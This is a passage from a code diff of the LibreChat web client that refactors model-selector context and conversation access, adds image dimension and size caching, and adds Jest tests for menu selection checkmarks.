'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
@@ -337,8 +337,24 @@ describe('FileRow', () => {
renderFileRow(filesMap);
const imageUrl = screen.getByTestId('image-url').textContent;
+ expect(imageUrl).toBe('blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b');
+ });
- expect(imageUrl).not.toContain('blob:');
+ it('should fall back to filepath when no preview exists', () => {
+ const file = createMockFile({
+ file_id: 'no-preview',
+ preview: undefined,
+ filepath:
+ '/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
+ progress: 1,
+ });
+
+ const filesMap = new Map();
+ filesMap.set(file.file_id, file);
+
+ renderFileRow(filesMap);
+
+ const imageUrl = screen.getByTestId('image-url').textContent;
expect(imageUrl).toBe(
'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
);
diff --git a/client/src/components/Chat/Input/Mention.tsx b/client/src/components/Chat/Input/Mention.tsx
index 9e56068def..34bddba519 100644
--- a/client/src/components/Chat/Input/Mention.tsx
+++ b/client/src/components/Chat/Input/Mention.tsx
@@ -2,11 +2,10 @@ import { useState, useRef, useEffect } from 'react';
import { useCombobox } from '@librechat/client';
import { AutoSizer, List } from 'react-virtualized';
import { EModelEndpoint } from 'librechat-data-provider';
-import type { TConversation } from 'librechat-data-provider';
import type { MentionOption, ConvoGenerator } from '~/common';
import type { SetterOrUpdater } from 'recoil';
+import { useGetConversation, useLocalize, TranslationKeys } from '~/hooks';
import useSelectMention from '~/hooks/Input/useSelectMention';
-import { useLocalize, TranslationKeys } from '~/hooks';
import { useAssistantsMapContext } from '~/Providers';
import useMentions from '~/hooks/Input/useMentions';
import { removeCharIfLast } from '~/utils';
@@ -15,7 +14,6 @@ import MentionItem from './MentionItem';
const ROW_HEIGHT = 44;
export default function Mention({
- conversation,
setShowMentionPopover,
newConversation,
textAreaRef,
@@ -23,7 +21,6 @@ export default function Mention({
placeholder = 'com_ui_mention',
includeAssistants = true,
}: {
- conversation: TConversation | null;
setShowMentionPopover: SetterOrUpdater;
newConversation: ConvoGenerator;
textAreaRef: React.MutableRefObject;
@@ -32,6 +29,7 @@ export default function Mention({
includeAssistants?: boolean;
}) {
const localize = useLocalize();
+ const getConversation = useGetConversation(0);
const assistantsMap = useAssistantsMapContext();
const {
options,
@@ -45,9 +43,9 @@ export default function Mention({
const { onSelectMention } = useSelectMention({
presets,
modelSpecs,
- conversation,
assistantsMap,
endpointsConfig,
+ getConversation,
newConversation,
});
diff --git a/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx b/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx
index eac3bb200c..c6f2416d78 100644
--- a/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx
@@ -1,6 +1,9 @@
-import React, { createContext, useContext, useMemo } from 'react';
+import React, { createContext, useCallback, useContext, useMemo, useRef } from 'react';
+import { useRecoilValue } from 'recoil';
import type { EModelEndpoint, TConversation } from 'librechat-data-provider';
-import { useChatContext } from '~/Providers/ChatContext';
+import type { ConvoGenerator } from '~/common';
+import { useGetConversation, useNewConvo } from '~/hooks';
+import store from '~/store';
interface ModelSelectorChatContextValue {
endpoint?: EModelEndpoint | null;
@@ -8,8 +11,8 @@ interface ModelSelectorChatContextValue {
spec?: string | null;
agent_id?: string | null;
assistant_id?: string | null;
- conversation: TConversation | null;
- newConversation: ReturnType['newConversation'];
+ getConversation: () => TConversation | null;
+ newConversation: ConvoGenerator;
}
const ModelSelectorChatContext = createContext(
@@ -17,20 +20,34 @@ const ModelSelectorChatContext = createContext(
+ (params) => newConversationRef.current(params),
+ [],
+ );
/** Context value only created when relevant conversation properties change */
const contextValue = useMemo(
() => ({
- endpoint: conversation?.endpoint,
- model: conversation?.model,
- spec: conversation?.spec,
- agent_id: conversation?.agent_id,
- assistant_id: conversation?.assistant_id,
- conversation,
+ model,
+ spec,
+ agent_id,
+ endpoint,
+ assistant_id,
+ getConversation,
newConversation,
}),
- [conversation, newConversation],
+ [endpoint, model, spec, agent_id, assistant_id, getConversation, newConversation],
);
return (
diff --git a/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx b/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx
index dd08728560..5a51db6ce9 100644
--- a/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx
@@ -58,7 +58,7 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
const agentsMap = useAgentsMapContext();
const assistantsMap = useAssistantsMapContext();
const { data: endpointsConfig } = useGetEndpointsQuery();
- const { endpoint, model, spec, agent_id, assistant_id, conversation, newConversation } =
+ const { endpoint, model, spec, agent_id, assistant_id, getConversation, newConversation } =
useModelSelectorChatContext();
const localize = useLocalize();
const { announcePolite } = useLiveAnnouncer();
@@ -114,7 +114,7 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
const { onSelectEndpoint, onSelectSpec } = useSelectMention({
// presets,
modelSpecs,
- conversation,
+ getConversation,
assistantsMap,
endpointsConfig,
newConversation,
@@ -171,90 +171,115 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
}, 200),
[],
);
- const setEndpointSearchValue = (endpoint: string, value: string) => {
+ const setEndpointSearchValue = useCallback((endpoint: string, value: string) => {
setEndpointSearchValues((prev) => ({
...prev,
[endpoint]: value,
}));
- };
+ }, []);
- const handleSelectSpec = (spec: t.TModelSpec) => {
- let model = spec.preset.model ?? null;
- onSelectSpec?.(spec);
- if (isAgentsEndpoint(spec.preset.endpoint)) {
- model = spec.preset.agent_id ?? '';
- } else if (isAssistantsEndpoint(spec.preset.endpoint)) {
- model = spec.preset.assistant_id ?? '';
- }
- setSelectedValues({
- endpoint: spec.preset.endpoint,
- model,
- modelSpec: spec.name,
- });
- };
+ const handleSelectSpec = useCallback(
+ (spec: t.TModelSpec) => {
+ let model = spec.preset.model ?? null;
+ onSelectSpec?.(spec);
+ if (isAgentsEndpoint(spec.preset.endpoint)) {
+ model = spec.preset.agent_id ?? '';
+ } else if (isAssistantsEndpoint(spec.preset.endpoint)) {
+ model = spec.preset.assistant_id ?? '';
+ }
+ setSelectedValues({
+ endpoint: spec.preset.endpoint,
+ model,
+ modelSpec: spec.name,
+ });
+ },
+ [onSelectSpec],
+ );
- const handleSelectEndpoint = (endpoint: Endpoint) => {
- if (!endpoint.hasModels) {
- if (endpoint.value) {
- onSelectEndpoint?.(endpoint.value);
+ const handleSelectEndpoint = useCallback(
+ (endpoint: Endpoint) => {
+ if (!endpoint.hasModels) {
+ if (endpoint.value) {
+ onSelectEndpoint?.(endpoint.value);
+ }
+ setSelectedValues({
+ endpoint: endpoint.value,
+ model: '',
+ modelSpec: '',
+ });
+ }
+ },
+ [onSelectEndpoint],
+ );
+
+ const handleSelectModel = useCallback(
+ (endpoint: Endpoint, model: string) => {
+ if (isAgentsEndpoint(endpoint.value)) {
+ onSelectEndpoint?.(endpoint.value, {
+ agent_id: model,
+ model: agentsMap?.[model]?.model ?? '',
+ });
+ } else if (isAssistantsEndpoint(endpoint.value)) {
+ onSelectEndpoint?.(endpoint.value, {
+ assistant_id: model,
+ model: assistantsMap?.[endpoint.value]?.[model]?.model ?? '',
+ });
+ } else if (endpoint.value) {
+ onSelectEndpoint?.(endpoint.value, { model });
}
setSelectedValues({
endpoint: endpoint.value,
- model: '',
+ model,
modelSpec: '',
});
- }
- };
- const handleSelectModel = (endpoint: Endpoint, model: string) => {
- if (isAgentsEndpoint(endpoint.value)) {
- onSelectEndpoint?.(endpoint.value, {
- agent_id: model,
- model: agentsMap?.[model]?.model ?? '',
- });
- } else if (isAssistantsEndpoint(endpoint.value)) {
- onSelectEndpoint?.(endpoint.value, {
- assistant_id: model,
- model: assistantsMap?.[endpoint.value]?.[model]?.model ?? '',
- });
- } else if (endpoint.value) {
- onSelectEndpoint?.(endpoint.value, { model });
- }
- setSelectedValues({
- endpoint: endpoint.value,
- model,
- modelSpec: '',
- });
+ const modelDisplayName = getModelDisplayName(endpoint, model);
+ const announcement = localize('com_ui_model_selected', { 0: modelDisplayName });
+ announcePolite({ message: announcement, isStatus: true });
+ },
+ [agentsMap, announcePolite, assistantsMap, getModelDisplayName, localize, onSelectEndpoint],
+ );
- const modelDisplayName = getModelDisplayName(endpoint, model);
- const announcement = localize('com_ui_model_selected', { 0: modelDisplayName });
- announcePolite({ message: announcement, isStatus: true });
- };
-
- const value = {
- // State
- searchValue,
- searchResults,
- selectedValues,
- endpointSearchValues,
- // LibreChat
- agentsMap,
- modelSpecs,
- assistantsMap,
- mappedEndpoints,
- endpointsConfig,
-
- // Functions
- handleSelectSpec,
- handleSelectModel,
- setSelectedValues,
- handleSelectEndpoint,
- setEndpointSearchValue,
- endpointRequiresUserKey,
- setSearchValue: setDebouncedSearchValue,
- // Dialog
- ...keyProps,
- };
+ const value = useMemo(
+ () => ({
+ searchValue,
+ searchResults,
+ selectedValues,
+ endpointSearchValues,
+ agentsMap,
+ modelSpecs,
+ assistantsMap,
+ mappedEndpoints,
+ endpointsConfig,
+ handleSelectSpec,
+ handleSelectModel,
+ setSelectedValues,
+ handleSelectEndpoint,
+ setEndpointSearchValue,
+ endpointRequiresUserKey,
+ setSearchValue: setDebouncedSearchValue,
+ ...keyProps,
+ }),
+ [
+ searchValue,
+ searchResults,
+ selectedValues,
+ endpointSearchValues,
+ agentsMap,
+ modelSpecs,
+ assistantsMap,
+ mappedEndpoints,
+ endpointsConfig,
+ handleSelectSpec,
+ handleSelectModel,
+ setSelectedValues,
+ handleSelectEndpoint,
+ setEndpointSearchValue,
+ endpointRequiresUserKey,
+ setDebouncedSearchValue,
+ keyProps,
+ ],
+ );
return {children} ;
}
diff --git a/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx b/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx
index 6f73f76d79..c8cef36010 100644
--- a/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx
@@ -96,7 +96,7 @@ function EndpointMenuContent({
const localize = useLocalize();
const { agentsMap, assistantsMap, modelSpecs, selectedValues, endpointSearchValues } =
useModelSelectorContext();
- const { model: selectedModel, modelSpec: selectedSpec } = selectedValues;
+ const { modelSpec: selectedSpec } = selectedValues;
const searchValue = endpointSearchValues[endpoint.value] || '';
const endpointSpecs = useMemo(() => {
@@ -134,15 +134,9 @@ function EndpointMenuContent({
))}
{filteredModels
- ? renderEndpointModels(
- endpoint,
- endpoint.models || [],
- selectedModel,
- filteredModels,
- endpointIndex,
- )
+ ? renderEndpointModels(endpoint, endpoint.models || [], filteredModels, endpointIndex)
: endpoint.models &&
- renderEndpointModels(endpoint, endpoint.models, selectedModel, undefined, endpointIndex)}
+ renderEndpointModels(endpoint, endpoint.models, undefined, endpointIndex)}
>
);
}
@@ -157,7 +151,7 @@ export function EndpointItem({ endpoint, endpointIndex }: EndpointItemProps) {
setEndpointSearchValue,
endpointRequiresUserKey,
} = useModelSelectorContext();
- const { endpoint: selectedEndpoint } = selectedValues;
+ const { endpoint: selectedEndpoint, modelSpec: selectedSpec } = selectedValues;
const searchValue = endpointSearchValues[endpoint.value] || '';
const isUserProvided = useMemo(
@@ -179,7 +173,7 @@ export function EndpointItem({ endpoint, endpointIndex }: EndpointItemProps) {
);
- const isEndpointSelected = selectedEndpoint === endpoint.value;
+ const isEndpointSelected = !selectedSpec && selectedEndpoint === endpoint.value;
if (endpoint.hasModels) {
const placeholder =
diff --git a/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx b/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx
index 752788d63a..7cec4744d5 100644
--- a/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx
@@ -11,12 +11,18 @@ import { cn } from '~/utils';
interface EndpointModelItemProps {
modelId: string | null;
endpoint: Endpoint;
- isSelected: boolean;
}
-export function EndpointModelItem({ modelId, endpoint, isSelected }: EndpointModelItemProps) {
+export function EndpointModelItem({ modelId, endpoint }: EndpointModelItemProps) {
const localize = useLocalize();
- const { handleSelectModel } = useModelSelectorContext();
+ const { handleSelectModel, selectedValues } = useModelSelectorContext();
+ const {
+ endpoint: selectedEndpoint,
+ model: selectedModel,
+ modelSpec: selectedSpec,
+ } = selectedValues;
+ const isSelected =
+ !selectedSpec && selectedEndpoint === endpoint.value && selectedModel === modelId;
const { isFavoriteModel, toggleFavoriteModel, isFavoriteAgent, toggleFavoriteAgent } =
useFavorites();
@@ -147,7 +153,6 @@ export function EndpointModelItem({ modelId, endpoint, isSelected }: EndpointMod
export function renderEndpointModels(
endpoint: Endpoint | null,
models: Array<{ name: string; isGlobal?: boolean }>,
- selectedModel: string | null,
filteredModels?: string[],
endpointIndex?: number,
) {
@@ -161,7 +166,6 @@ export function renderEndpointModels(
key={`${endpoint.value}${indexSuffix}-${modelId}-${modelIndex}`}
modelId={modelId}
endpoint={endpoint}
- isSelected={selectedModel === modelId}
/>
),
);
diff --git a/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx b/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx
index 34985639c5..26831a577e 100644
--- a/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx
@@ -160,7 +160,9 @@ export function SearchResults({ results, localize, searchValue }: SearchResultsP
}
const isModelSelected =
- selectedEndpoint === endpoint.value && selectedModel === modelId;
+ !selectedSpec &&
+ selectedEndpoint === endpoint.value &&
+ selectedModel === modelId;
return (
({
+ useModelSelectorContext: () => ({
+ handleSelectModel: mockHandleSelectModel,
+ selectedValues: mockSelectedValues,
+ }),
+}));
+
+jest.mock('~/components/Chat/Menus/Endpoints/CustomMenu', () => {
+ const React = jest.requireActual('react');
+ return {
+ CustomMenuItem: React.forwardRef(function MockMenuItem(
+ { children, ...rest }: { children?: React.ReactNode },
+ ref: React.Ref,
+ ) {
+ return React.createElement('div', { ref, role: 'menuitem', ...rest }, children);
+ }),
+ };
+});
+
+jest.mock('~/hooks', () => ({
+ useLocalize: () => (key: string) => key,
+ useFavorites: () => ({
+ isFavoriteModel: () => false,
+ toggleFavoriteModel: jest.fn(),
+ isFavoriteAgent: () => false,
+ toggleFavoriteAgent: jest.fn(),
+ }),
+}));
+
+const baseEndpoint: Endpoint = {
+ value: 'anthropic',
+ label: 'Anthropic',
+ hasModels: true,
+ models: [{ name: 'claude-opus-4-6' }],
+ icon: null,
+};
+
+describe('EndpointModelItem', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ });
+
+ it('renders checkmark when model and endpoint match with no active spec', () => {
+ mockSelectedValues = { endpoint: 'anthropic', model: 'claude-opus-4-6', modelSpec: '' };
+ render( );
+
+ const menuItem = screen.getByRole('menuitem');
+ expect(menuItem).toHaveAttribute('aria-selected', 'true');
+ });
+
+ it('does NOT render checkmark when a model spec is active even if endpoint and model match', () => {
+ mockSelectedValues = {
+ endpoint: 'anthropic',
+ model: 'claude-opus-4-6',
+ modelSpec: 'my-anthropic-spec',
+ };
+ render( );
+
+ const menuItem = screen.getByRole('menuitem');
+ expect(menuItem).not.toHaveAttribute('aria-selected');
+ });
+
+ it('does NOT render checkmark when model matches but endpoint differs', () => {
+ mockSelectedValues = { endpoint: 'openai', model: 'claude-opus-4-6', modelSpec: '' };
+ render( );
+
+ const menuItem = screen.getByRole('menuitem');
+ expect(menuItem).not.toHaveAttribute('aria-selected');
+ });
+
+ it('does NOT render checkmark when endpoint matches but model differs', () => {
+ mockSelectedValues = { endpoint: 'anthropic', model: 'claude-sonnet-4-5', modelSpec: '' };
+ render( );
+
+ const menuItem = screen.getByRole('menuitem');
+ expect(menuItem).not.toHaveAttribute('aria-selected');
+ });
+});
diff --git a/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx b/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx
new file mode 100644
index 0000000000..8ab9235f6f
--- /dev/null
+++ b/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx
@@ -0,0 +1,109 @@
+import { render, screen } from '@testing-library/react';
+import type { Endpoint, SelectedValues } from '~/common';
+import { SearchResults } from '../SearchResults';
+
+const mockHandleSelectSpec = jest.fn();
+const mockHandleSelectModel = jest.fn();
+const mockHandleSelectEndpoint = jest.fn();
+let mockSelectedValues: SelectedValues;
+
+jest.mock('~/components/Chat/Menus/Endpoints/ModelSelectorContext', () => ({
+ useModelSelectorContext: () => ({
+ selectedValues: mockSelectedValues,
+ handleSelectSpec: mockHandleSelectSpec,
+ handleSelectModel: mockHandleSelectModel,
+ handleSelectEndpoint: mockHandleSelectEndpoint,
+ endpointsConfig: {},
+ }),
+}));
+
+jest.mock('~/components/Chat/Menus/Endpoints/CustomMenu', () => {
+ const React = jest.requireActual('react');
+ return {
+ CustomMenuItem: React.forwardRef(function MockMenuItem(
+ { children, ...rest }: { children?: React.ReactNode },
+ ref: React.Ref,
+ ) {
+ return React.createElement('div', { ref, role: 'menuitem', ...rest }, children);
+ }),
+ };
+});
+
+jest.mock('../SpecIcon', () => {
+ const React = jest.requireActual('react');
+ return {
+ __esModule: true,
+ default: () => React.createElement('span', null, 'icon'),
+ };
+});
+
+const localize = (key: string) => key;
+
+const anthropicEndpoint: Endpoint = {
+ value: 'anthropic',
+ label: 'Anthropic',
+ hasModels: true,
+ models: [{ name: 'claude-opus-4-6' }, { name: 'claude-sonnet-4-5' }],
+ icon: null,
+};
+
+const noModelsEndpoint: Endpoint = {
+ value: 'custom',
+ label: 'Custom',
+ hasModels: false,
+ icon: null,
+};
+
+describe('SearchResults', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ });
+
+ it('marks model as selected when endpoint and model match with no active spec', () => {
+ mockSelectedValues = { endpoint: 'anthropic', model: 'claude-opus-4-6', modelSpec: '' };
+ render(
+ ,
+ );
+
+ const items = screen.getAllByRole('menuitem');
+ const selectedItem = items.find((el) => el.getAttribute('aria-selected') === 'true');
+ expect(selectedItem).toBeDefined();
+ expect(selectedItem).toHaveTextContent('claude-opus-4-6');
+ });
+
+ it('does not mark model as selected when a spec is active', () => {
+ mockSelectedValues = {
+ endpoint: 'anthropic',
+ model: 'claude-opus-4-6',
+ modelSpec: 'my-spec',
+ };
+ render(
+ ,
+ );
+
+ const items = screen.getAllByRole('menuitem');
+ for (const item of items) {
+ expect(item).not.toHaveAttribute('aria-selected');
+ }
+ });
+
+ it('does not mark endpoint as selected when a spec is active', () => {
+ mockSelectedValues = {
+ endpoint: 'custom',
+ model: '',
+ modelSpec: 'my-spec',
+ };
+ render( );
+
+ const item = screen.getByRole('menuitem');
+ expect(item).not.toHaveAttribute('aria-selected');
+ });
+
+ it('marks endpoint as selected when no spec is active and endpoint matches', () => {
+ mockSelectedValues = { endpoint: 'custom', model: '', modelSpec: '' };
+ render( );
+
+ const item = screen.getByRole('menuitem');
+ expect(item).toHaveAttribute('aria-selected', 'true');
+ });
+});
diff --git a/client/src/components/Chat/Menus/HeaderNewChat.tsx b/client/src/components/Chat/Menus/HeaderNewChat.tsx
index 764397eddb..a50d42af85 100644
--- a/client/src/components/Chat/Menus/HeaderNewChat.tsx
+++ b/client/src/components/Chat/Menus/HeaderNewChat.tsx
@@ -1,14 +1,16 @@
import { QueryKeys } from 'librechat-data-provider';
+import { useRecoilValue } from 'recoil';
import { useQueryClient } from '@tanstack/react-query';
import { TooltipAnchor, Button, NewChatIcon } from '@librechat/client';
-import { useChatContext } from '~/Providers';
+import { useNewConvo, useLocalize } from '~/hooks';
import { clearMessagesCache } from '~/utils';
-import { useLocalize } from '~/hooks';
+import store from '~/store';
export default function HeaderNewChat() {
const localize = useLocalize();
const queryClient = useQueryClient();
- const { conversation, newConversation } = useChatContext();
+ const { newConversation } = useNewConvo();
+ const conversation = useRecoilValue(store.conversationByIndex(0));
const clickHandler: React.MouseEventHandler = (e) => {
if (e.button === 0 && (e.ctrlKey || e.metaKey)) {
diff --git a/client/src/components/Chat/Menus/PresetsMenu.tsx b/client/src/components/Chat/Menus/PresetsMenu.tsx
index 7ba0ae5c88..0edd1635bc 100644
--- a/client/src/components/Chat/Menus/PresetsMenu.tsx
+++ b/client/src/components/Chat/Menus/PresetsMenu.tsx
@@ -1,4 +1,5 @@
import { useRef } from 'react';
+import { useRecoilValue } from 'recoil';
import { Trans } from 'react-i18next';
import { BookCopy } from 'lucide-react';
import { Content, Portal, Root, Trigger } from '@radix-ui/react-popover';
@@ -13,7 +14,7 @@ import {
import type { FC } from 'react';
import { EditPresetDialog, PresetItems } from './Presets';
import { useLocalize, usePresets } from '~/hooks';
-import { useChatContext } from '~/Providers';
+import store from '~/store';
const PresetsMenu: FC = () => {
const localize = useLocalize();
@@ -33,7 +34,7 @@ const PresetsMenu: FC = () => {
presetToDelete,
confirmDeletePreset,
} = usePresets();
- const { preset } = useChatContext();
+ const preset = useRecoilValue(store.presetByIndex(0));
const handleDeleteDialogChange = (open: boolean) => {
setShowDeleteDialog(open);
diff --git a/client/src/components/Chat/Messages/Content/ContentParts.tsx b/client/src/components/Chat/Messages/Content/ContentParts.tsx
index 42ce8b8f14..4b431d7a98 100644
--- a/client/src/components/Chat/Messages/Content/ContentParts.tsx
+++ b/client/src/components/Chat/Messages/Content/ContentParts.tsx
@@ -15,6 +15,61 @@ import Sources from '~/components/Web/Sources';
import Container from './Container';
import Part from './Part';
+type PartWithContextProps = {
+ part: TMessageContentParts;
+ idx: number;
+ isLastPart: boolean;
+ messageId: string;
+ conversationId?: string | null;
+ nextType?: string;
+ isSubmitting: boolean;
+ isLatestMessage?: boolean;
+ isCreatedByUser: boolean;
+ isLast: boolean;
+ partAttachments: TAttachment[] | undefined;
+};
+
+const PartWithContext = memo(function PartWithContext({
+ part,
+ idx,
+ isLastPart,
+ messageId,
+ conversationId,
+ nextType,
+ isSubmitting,
+ isLatestMessage,
+ isCreatedByUser,
+ isLast,
+ partAttachments,
+}: PartWithContextProps) {
+ const contextValue = useMemo(
+ () => ({
+ messageId,
+ isExpanded: true as const,
+ conversationId,
+ partIndex: idx,
+ nextType,
+ isSubmitting,
+ isLatestMessage,
+ }),
+ [messageId, conversationId, idx, nextType, isSubmitting, isLatestMessage],
+ );
+
+ return (
+
+
+
+ );
+});
+
type ContentPartsProps = {
content: Array | undefined;
messageId: string;
@@ -58,37 +113,24 @@ const ContentParts = memo(function ContentParts({
const attachmentMap = useMemo(() => mapAttachments(attachments ?? []), [attachments]);
const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
- /**
- * Render a single content part with proper context.
- */
const renderPart = useCallback(
(part: TMessageContentParts, idx: number, isLastPart: boolean) => {
const toolCallId = (part?.[ContentTypes.TOOL_CALL] as Agents.ToolCall | undefined)?.id ?? '';
- const partAttachments = attachmentMap[toolCallId];
-
return (
-
-
-
+ idx={idx}
+ part={part}
+ isLast={isLast}
+ messageId={messageId}
+ isLastPart={isLastPart}
+ conversationId={conversationId}
+ isLatestMessage={isLatestMessage}
+ isCreatedByUser={isCreatedByUser}
+ nextType={content?.[idx + 1]?.type}
+ isSubmitting={effectiveIsSubmitting}
+ partAttachments={attachmentMap[toolCallId]}
+ />
);
},
[
diff --git a/client/src/components/Chat/Messages/Content/DialogImage.tsx b/client/src/components/Chat/Messages/Content/DialogImage.tsx
index cb496de646..b9cbe64555 100644
--- a/client/src/components/Chat/Messages/Content/DialogImage.tsx
+++ b/client/src/components/Chat/Messages/Content/DialogImage.tsx
@@ -4,6 +4,8 @@ import { Button, TooltipAnchor } from '@librechat/client';
import { X, ArrowDownToLine, PanelLeftOpen, PanelLeftClose, RotateCcw } from 'lucide-react';
import { useLocalize } from '~/hooks';
+const imageSizeCache = new Map();
+
const getQualityStyles = (quality: string): string => {
if (quality === 'high') {
return 'bg-green-100 text-green-800';
@@ -50,18 +52,26 @@ export default function DialogImage({
const closeButtonRef = useRef(null);
const getImageSize = useCallback(async (url: string) => {
+ const cached = imageSizeCache.get(url);
+ if (cached) {
+ return cached;
+ }
try {
const response = await fetch(url, { method: 'HEAD' });
const contentLength = response.headers.get('Content-Length');
if (contentLength) {
const bytes = parseInt(contentLength, 10);
- return formatFileSize(bytes);
+ const result = formatFileSize(bytes);
+ imageSizeCache.set(url, result);
+ return result;
}
const fullResponse = await fetch(url);
const blob = await fullResponse.blob();
- return formatFileSize(blob.size);
+ const result = formatFileSize(blob.size);
+ imageSizeCache.set(url, result);
+ return result;
} catch (error) {
console.error('Error getting image size:', error);
return null;
@@ -355,6 +365,7 @@ export default function DialogImage({
ref={imageRef}
src={src}
alt="Image"
+ decoding="async"
className="block max-h-[85vh] object-contain"
style={{
maxWidth: getImageMaxWidth(),
diff --git a/client/src/components/Chat/Messages/Content/Files.tsx b/client/src/components/Chat/Messages/Content/Files.tsx
index 8997d5e822..504e48e883 100644
--- a/client/src/components/Chat/Messages/Content/Files.tsx
+++ b/client/src/components/Chat/Messages/Content/Files.tsx
@@ -1,6 +1,7 @@
import { useMemo, memo } from 'react';
import type { TFile, TMessage } from 'librechat-data-provider';
import FileContainer from '~/components/Chat/Input/Files/FileContainer';
+import { getCachedPreview } from '~/utils';
import Image from './Image';
const Files = ({ message }: { message?: TMessage }) => {
@@ -17,21 +18,18 @@ const Files = ({ message }: { message?: TMessage }) => {
{otherFiles.length > 0 &&
otherFiles.map((file) => )}
{imageFiles.length > 0 &&
- imageFiles.map((file) => (
-
- ))}
+ imageFiles.map((file) => {
+ const cached = file.file_id ? getCachedPreview(file.file_id) : undefined;
+ return (
+
+ );
+ })}
>
);
};
diff --git a/client/src/components/Chat/Messages/Content/Image.tsx b/client/src/components/Chat/Messages/Content/Image.tsx
index cd72733298..7e3e12e65b 100644
--- a/client/src/components/Chat/Messages/Content/Image.tsx
+++ b/client/src/components/Chat/Messages/Content/Image.tsx
@@ -1,27 +1,39 @@
-import React, { useState, useRef, useMemo } from 'react';
+import React, { useState, useRef, useMemo, useEffect } from 'react';
import { Skeleton } from '@librechat/client';
-import { LazyLoadImage } from 'react-lazy-load-image-component';
import { apiBaseUrl } from 'librechat-data-provider';
-import { cn, scaleImage } from '~/utils';
import DialogImage from './DialogImage';
+import { cn } from '~/utils';
+
+/** Max display height for chat images (Tailwind JIT class) */
+export const IMAGE_MAX_H = 'max-h-[45vh]' as const;
+/** Matches the `max-w-lg` Tailwind class on the wrapper button (32rem = 512px at 16px base) */
+const IMAGE_MAX_W_PX = 512;
+
+/** Caches image dimensions by src so remounts can reserve space */
+const dimensionCache = new Map();
+/** Tracks URLs that have been fully painted — skip skeleton on remount */
+const paintedUrls = new Set();
+
+/** Test-only: resets module-level caches */
+export function _resetImageCaches(): void {
+ dimensionCache.clear();
+ paintedUrls.clear();
+}
+
+function computeHeightStyle(w: number, h: number): React.CSSProperties {
+ return { height: `min(45vh, ${(h / w) * 100}vw, ${(h / w) * IMAGE_MAX_W_PX}px)` };
+}
const Image = ({
imagePath,
altText,
- height,
- width,
- placeholderDimensions,
className,
args,
+ width,
+ height,
}: {
imagePath: string;
altText: string;
- height: number;
- width: number;
- placeholderDimensions?: {
- height?: string;
- width?: string;
- };
className?: string;
args?: {
prompt?: string;
@@ -30,19 +42,15 @@ const Image = ({
style?: string;
[key: string]: unknown;
};
+ width?: number;
+ height?: number;
}) => {
const [isOpen, setIsOpen] = useState(false);
- const [isLoaded, setIsLoaded] = useState(false);
- const containerRef = useRef(null);
const triggerRef = useRef(null);
- const handleImageLoad = () => setIsLoaded(true);
-
- // Fix image path to include base path for subdirectory deployments
const absoluteImageUrl = useMemo(() => {
if (!imagePath) return imagePath;
- // If it's already an absolute URL or doesn't start with /images/, return as is
if (
imagePath.startsWith('http') ||
imagePath.startsWith('data:') ||
@@ -51,21 +59,10 @@ const Image = ({
return imagePath;
}
- // Get the base URL and prepend it to the image path
const baseURL = apiBaseUrl();
return `${baseURL}${imagePath}`;
}, [imagePath]);
- const { width: scaledWidth, height: scaledHeight } = useMemo(
- () =>
- scaleImage({
- originalWidth: Number(placeholderDimensions?.width?.split('px')[0] ?? width),
- originalHeight: Number(placeholderDimensions?.height?.split('px')[0] ?? height),
- containerRef,
- }),
- [placeholderDimensions, height, width],
- );
-
const downloadImage = async () => {
try {
const response = await fetch(absoluteImageUrl);
@@ -95,8 +92,19 @@ const Image = ({
}
};
+ useEffect(() => {
+ if (width && height && absoluteImageUrl) {
+ dimensionCache.set(absoluteImageUrl, { width, height });
+ }
+ }, [absoluteImageUrl, width, height]);
+
+ const dims = width && height ? { width, height } : dimensionCache.get(absoluteImageUrl);
+ const hasDimensions = !!(dims?.width && dims?.height);
+ const heightStyle = hasDimensions ? computeHeightStyle(dims.width, dims.height) : undefined;
+ const showSkeleton = hasDimensions && !paintedUrls.has(absoluteImageUrl);
+
return (
-
+
setIsOpen(true)}
className={cn(
- 'relative mt-1 flex h-auto w-full max-w-lg cursor-pointer items-center justify-center overflow-hidden rounded-lg border border-border-light text-text-secondary-alt shadow-md transition-shadow',
+ 'relative mt-1 w-full max-w-lg cursor-pointer overflow-hidden rounded-lg border border-border-light text-text-secondary-alt shadow-md transition-shadow',
'focus:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-surface-primary',
className,
)}
+ style={heightStyle}
>
- }
+
- }
